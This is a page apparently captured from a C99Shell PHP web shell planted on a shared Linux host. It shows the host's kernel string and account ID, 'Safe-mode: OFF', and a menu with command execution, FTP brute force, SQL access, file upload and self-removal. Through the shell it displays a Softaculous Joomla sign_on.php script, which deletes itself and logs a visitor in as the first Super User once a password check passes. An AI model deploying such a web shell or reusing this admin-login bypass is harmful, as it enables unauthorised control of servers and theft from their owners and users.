!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/joomla30/   drwxr-xr-x
Free 293.84 GB of 429.69 GB (68.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sign_on.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

@unlink(__FILE__);

// Validate if the request is from Softaculous
if($_REQUEST['pass'] != '[[autopass]]'){
    die(
"Unauthorized Access");
}

define('_JEXEC'1);

// Joomla 4.x
if(file_exists(__DIR__ '/administrator/includes/app.php')){
    
ob_start();
    require_once 
__DIR__ '/administrator/includes/app.php';
    
}else{
    
// Joomla 3.x
    
if (file_exists(__DIR__ '/defines.php'))
    {
        include_once 
__DIR__ '/defines.php';
    }

    if (!
defined('_JDEFINES'))
    {
        
define('JPATH_BASE'__DIR__ DIRECTORY_SEPARATOR 'administrator' );
        require_once 
JPATH_BASE '/includes/defines.php';
    }

    require_once 
JPATH_BASE '/includes/framework.php';
    require_once 
JPATH_BASE '/includes/helper.php';
    require_once 
JPATH_BASE '/includes/subtoolbar.php';
}

$app JFactory::getApplication('administrator');
    
// Check for a cookie if user is not logged in
if(JFactory::getUser()->get('guest')){
    
    
$signon_user '[[signon_username]]';
    
    
$options = array('action' => 'core.login.admin');

    
$instance Joomla\CMS\User\User::getInstance();

    
$db JFactory::getDbo();
    
    if(!empty(
$signon_user) && !preg_match('/^\[\[(.*?)\]\]$/is'$signon_user)){
        
$id = (int) Joomla\CMS\User\UserHelper::getUserId($signon_user);
    }else{
        
$query $db->getQuery(true);
        
$query->select($db->quoteName('user_id'))
            ->
from($db->quoteName('#__user_usergroup_map'))
            ->
where($db->quoteName('group_id') . ' = 8' );
        
$db->setQuery($query);
        
$users $db->loadColumn();
        
$id min($users);
    }
    
    if (!
$id)
    {
        
$app->redirect('administrator/index.php');
        exit();
    }

    
$instance->load($id);

    
// If the user is blocked, redirect with an error
    
if ($instance->block == 1)
    {
        
$app->redirect('administrator/index.php');
        exit();
    }

    
$result $instance->authorise($options['action']);

    
// Mark the user as logged in
    
$instance->guest 0;

    
$session Joomla\CMS\Factory::getSession();

    
// Grab the current session ID
    
$oldSessionId $session->getId();
            
    
// Fork the session
    
$session->fork();

    
$session->set('user'$instance);
            
    
// Ensure the new session's metadata is written to the database
    
$app->checkSession();

    
// Purge the old session
    
$query $db->getQuery(true)
        ->
delete('#__session')
        ->
where($db->quoteName('session_id') . ' = ' $db->quoteBinary($oldSessionId));

    
$db->setQuery($query)->execute();

    
$instance->setLastVisit();

}

$app->redirect('administrator/index.php');

exit();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--